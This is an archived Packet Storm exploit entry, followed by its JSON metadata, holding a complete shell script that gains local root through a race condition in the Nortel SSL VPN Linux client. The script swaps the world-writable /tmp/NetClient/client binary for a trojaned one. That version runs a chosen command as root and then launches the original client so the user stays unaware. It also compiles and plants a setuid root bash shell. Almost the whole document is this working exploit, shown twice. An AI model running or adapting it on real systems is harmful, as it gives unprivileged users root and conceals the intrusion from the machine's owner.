ID PACKETSTORM:54638 Type packetstorm Reporter Jon Hart Modified 2007-02-24T00:00:00
Description
`#!/bin/sh
#
# Nortel SSL VPN Linux Client race condition
#
# Jon Hart <jhart@spoofed.org>
#
# The Linux client that is utilized by versions priot to 6.05 of the Nortel
# SSL VPN appliance suffers from a number of problems that, in combination,
# allow an unprivileged local user to obtain root privileges.
#
# This particular bug is as follows:
# 1) SSL VPN is initiated from the startNetdirect() javascript call
# 2) A zip archive is downloaded to the local machine which contains three
# binaries necessary for the client: askpass, client, and surun. This
# archive is written to /tmp, chmod'd 777, and then it is extracted into
# /tmp/NetClient
# 3) All of these files are chmod'd world writable by the following java
# snippet, which is called on all UNIX client OSs:
#
# protected boolean setPermissions(String file)
# {
# String command = "chmod a+xw " + file;
# try
# {
# Process p = Runtime.getRuntime().exec(command);
# p.waitFor();
# }
# ...
# }
#
# 4) /tmp/NetClient/surun is executed, which in turn runs
# /tmp/NetClient/askpass. This process aquires the root password, and
# then executes /tmp/NetClient/client via /bin/su and the root password.
#
# There is clearly a bug in step 2 and 3 whereby files are installed world
# writable. The bug I chose to exploit is the race condition in step 4,
# combined with the insecure permissions of steps 2 and 3, which (IMO),
# gives root more easily. The risk here is if you have untrusted accounts
# on the machine from which you access the Nortel VPN, those accounts can
# easily gain local root access.
#
# The exploit is fairly simple. Wait for /tmp/NetClient/client to appear,
# swap it for our "special version", and wait for a shell.
#
# Notes: a /tmp with nosuid will help mitigate this particular _exploit_,
# but not the vulnerability. The same vulnerability also exists in the Mac
# client.
#
# For education and testing purposes only. Only run this on systems that
# you maintain/control.
#
cleanup() {
rm -f $TMP_DIR/.*-$$\..*
}
run_cmd() {
CMD=$@
VPN_CLIENT_RUN=`mktemp -t vpn_client_run-$$.XXXXXXXX`
echo "Waiting for writable client"
while (true); do
if [ -w $CLIENT ]; then
OLD_CLIENT=`mktemp -t old_client-$$.XXXXXXXXXX`
echo "Saving old client"
cp $CLIENT $OLD_CLIENT
chmod 755 $OLD_CLIENT
echo "Writing new \"client\""
echo "#!/bin/sh" > $CLIENT
echo "$CMD" >> $CLIENT
echo "rm -f $VPN_CLIENT_RUN" >> $CLIENT
# ensure the original client gets run so as to
# not alert the user
echo "exec $OLD_CLIENT \$@" >> $CLIENT
break
fi
done
SUCCESS=0
echo "Waiting for new client to be run"
while (true); do
if [ ! -f $VPN_CLIENT_RUN ]; then
SUCCESS=1
break
else
sleep 2
fi
done
if [ $SUCCESS == 1 ]; then
echo "Success"
return 0
else
echo "Exploit failed!"
cleanup
exit 1
fi
}
suid_shell() {
SH_C="sh_c-$$.c"
# write out setuid shell
cat >> $SH_C << EOF
#include <sys/types.h>
#include <unistd.h>
int main (int argc, char **argv) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
EOF
# try like hell to get this shell compiled
SH=`mktemp -t vpnshell-$$.XXXXXXXXXX`
gcc -o $SH $SH_C 2>&1 > /dev/null 2>&1
if [ $? != 0 ]; then
cc -o $SH $SH_C 2>&1 > /dev/null 2>&1
if [ $? != 0 ]; then
echo "Compilation of shell failed"
echo "Trying backup method..."
run_cmd "cp /bin/sh $SH && chmod 4755 $SH"
while (true); do
if [ -u $SH ]; then
$SH
cleanup
exit
else
sleep 1
fi
done
echo "Failed"
cleanup
exit 1
fi
fi
rm -f $SH_C
run_cmd "chown root:root $SH && chmod 4755 $SH"
# wait for our shell to be chmod'd
SUCCESS=0
echo "Waiting for suid shell"
for sleep in `seq 1 60`; do
if [ -u $SH ]; then
echo "Success! setuid shell is $SH"
SUCCESS=1
break
else
sleep 2
fi
done
if [ $SUCCESS == 1 ]; then
cleanup
$SH
else
rm -f $SH
echo "Exploit failed!"
cleanup
exit 1
fi
}
CLIENT="/tmp/NetClient/client"
if [ -f $CLIENT ]; then
echo "client $CLIENT already exists -- forcing stop"
$CLIENT --stop
for sleep in `seq 1 60`; do
if [ ! -f $CLIENT ]; then
break
fi
sleep 1
done
fi
# hack to figure out where temp files get put...
TMP_FILE=`mktemp -t $$`
TMP_DIR=`dirname $TMP_FILE`
rm -f $TMP_FILE
trap cleanup 1 2 3 15
# two modes of operation -- get a root shell, or run a cmd as root.
if [ -z "$1" ]; then
suid_shell
else
run_cmd $1
fi
cleanup
`
{"id": "PACKETSTORM:54638", "type": "packetstorm", "bulletinFamily": "exploit", "title": "nortel-sh.txt", "description": "", "published": "2007-02-24T00:00:00", "modified": "2007-02-24T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/54638/nortel-sh.txt.html", "reporter": "Jon Hart", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:28:57", "viewCount": 1, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-11-03T10:28:57", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:57", "rev": 2}, "vulnersScore": -0.2}, "sourceHref": "https://packetstormsecurity.com/files/download/54638/nortel-sh.txt", "sourceData": "`#!/bin/sh \n# \n# Nortel SSL VPN Linux Client race condition \n# \n# Jon Hart <jhart@spoofed.org> \n# \n# The Linux client that is utilized by versions priot to 6.05 of the Nortel \n# SSL VPN appliance suffers from a number of problems that, in combination, \n# allow an unprivileged local user to obtain root privileges. \n# \n# This particular bug is as follows: \n# 1) SSL VPN is initiated from the startNetdirect() javascript call \n# 2) A zip archive is downloaded to the local machine which contains three \n# binaries necessary for the client: askpass, client, and surun. This \n# archive is written to /tmp, chmod'd 777, and then it is extracted into \n# /tmp/NetClient \n# 3) All of these files are chmod'd world writable by the following java \n# snippet, which is called on all UNIX client OSs: \n# \n# protected boolean setPermissions(String file) \n# { \n# String command = \"chmod a+xw \" + file; \n# try \n# { \n# Process p = Runtime.getRuntime().exec(command); \n# p.waitFor(); \n# } \n# ... \n# } \n# \n# 4) /tmp/NetClient/surun is executed, which in turn runs \n# /tmp/NetClient/askpass. This process aquires the root password, and \n# then executes /tmp/NetClient/client via /bin/su and the root password. \n# \n# There is clearly a bug in step 2 and 3 whereby files are installed world \n# writable. The bug I chose to exploit is the race condition in step 4, \n# combined with the insecure permissions of steps 2 and 3, which (IMO), \n# gives root more easily. The risk here is if you have untrusted accounts \n# on the machine from which you access the Nortel VPN, those accounts can \n# easily gain local root access. \n# \n# The exploit is fairly simple. Wait for /tmp/NetClient/client to appear, \n# swap it for our \"special version\", and wait for a shell. \n# \n# Notes: a /tmp with nosuid will help mitigate this particular _exploit_, \n# but not the vulnerability. The same vulnerability also exists in the Mac \n# client. \n# \n# For education and testing purposes only. Only run this on systems that \n# you maintain/control. \n# \n \ncleanup() { \nrm -f $TMP_DIR/.*-$$\\..* \n} \n \n \nrun_cmd() { \nCMD=$@ \nVPN_CLIENT_RUN=`mktemp -t vpn_client_run-$$.XXXXXXXX` \n \necho \"Waiting for writable client\" \nwhile (true); do \nif [ -w $CLIENT ]; then \nOLD_CLIENT=`mktemp -t old_client-$$.XXXXXXXXXX` \necho \"Saving old client\" \ncp $CLIENT $OLD_CLIENT \nchmod 755 $OLD_CLIENT \necho \"Writing new \\\"client\\\"\" \necho \"#!/bin/sh\" > $CLIENT \necho \"$CMD\" >> $CLIENT \necho \"rm -f $VPN_CLIENT_RUN\" >> $CLIENT \n# ensure the original client gets run so as to \n# not alert the user \necho \"exec $OLD_CLIENT \\$@\" >> $CLIENT \nbreak \nfi \ndone \n \nSUCCESS=0 \necho \"Waiting for new client to be run\" \nwhile (true); do \nif [ ! -f $VPN_CLIENT_RUN ]; then \nSUCCESS=1 \nbreak \nelse \nsleep 2 \nfi \ndone \n \nif [ $SUCCESS == 1 ]; then \necho \"Success\" \nreturn 0 \nelse \necho \"Exploit failed!\" \ncleanup \nexit 1 \nfi \n} \n \nsuid_shell() { \nSH_C=\"sh_c-$$.c\" \n \n# write out setuid shell \ncat >> $SH_C << EOF \n#include <sys/types.h> \n#include <unistd.h> \nint main (int argc, char **argv) { \nsetuid(0); \nsetgid(0); \nexecl(\"/bin/bash\", \"bash\", NULL); \n} \nEOF \n \n# try like hell to get this shell compiled \nSH=`mktemp -t vpnshell-$$.XXXXXXXXXX` \ngcc -o $SH $SH_C 2>&1 > /dev/null 2>&1 \nif [ $? != 0 ]; then \ncc -o $SH $SH_C 2>&1 > /dev/null 2>&1 \nif [ $? != 0 ]; then \necho \"Compilation of shell failed\" \necho \"Trying backup method...\" \nrun_cmd \"cp /bin/sh $SH && chmod 4755 $SH\" \nwhile (true); do \nif [ -u $SH ]; then \n$SH \ncleanup \nexit \nelse \nsleep 1 \nfi \ndone \necho \"Failed\" \ncleanup \nexit 1 \nfi \nfi \nrm -f $SH_C \n \nrun_cmd \"chown root:root $SH && chmod 4755 $SH\" \n \n# wait for our shell to be chmod'd \nSUCCESS=0 \necho \"Waiting for suid shell\" \nfor sleep in `seq 1 60`; do \nif [ -u $SH ]; then \necho \"Success! setuid shell is $SH\" \nSUCCESS=1 \nbreak \nelse \nsleep 2 \nfi \ndone \n \nif [ $SUCCESS == 1 ]; then \ncleanup \n$SH \nelse \nrm -f $SH \necho \"Exploit failed!\" \ncleanup \nexit 1 \nfi \n} \n \nCLIENT=\"/tmp/NetClient/client\" \n \nif [ -f $CLIENT ]; then \necho \"client $CLIENT already exists -- forcing stop\" \n$CLIENT --stop \nfor sleep in `seq 1 60`; do \nif [ ! -f $CLIENT ]; then \nbreak \nfi \nsleep 1 \ndone \nfi \n \n# hack to figure out where temp files get put... \nTMP_FILE=`mktemp -t $$` \nTMP_DIR=`dirname $TMP_FILE` \nrm -f $TMP_FILE \n \ntrap cleanup 1 2 3 15 \n \n# two modes of operation -- get a root shell, or run a cmd as root. \nif [ -z \"$1\" ]; then \nsuid_shell \nelse \nrun_cmd $1 \nfi \n \ncleanup \n \n`\n"}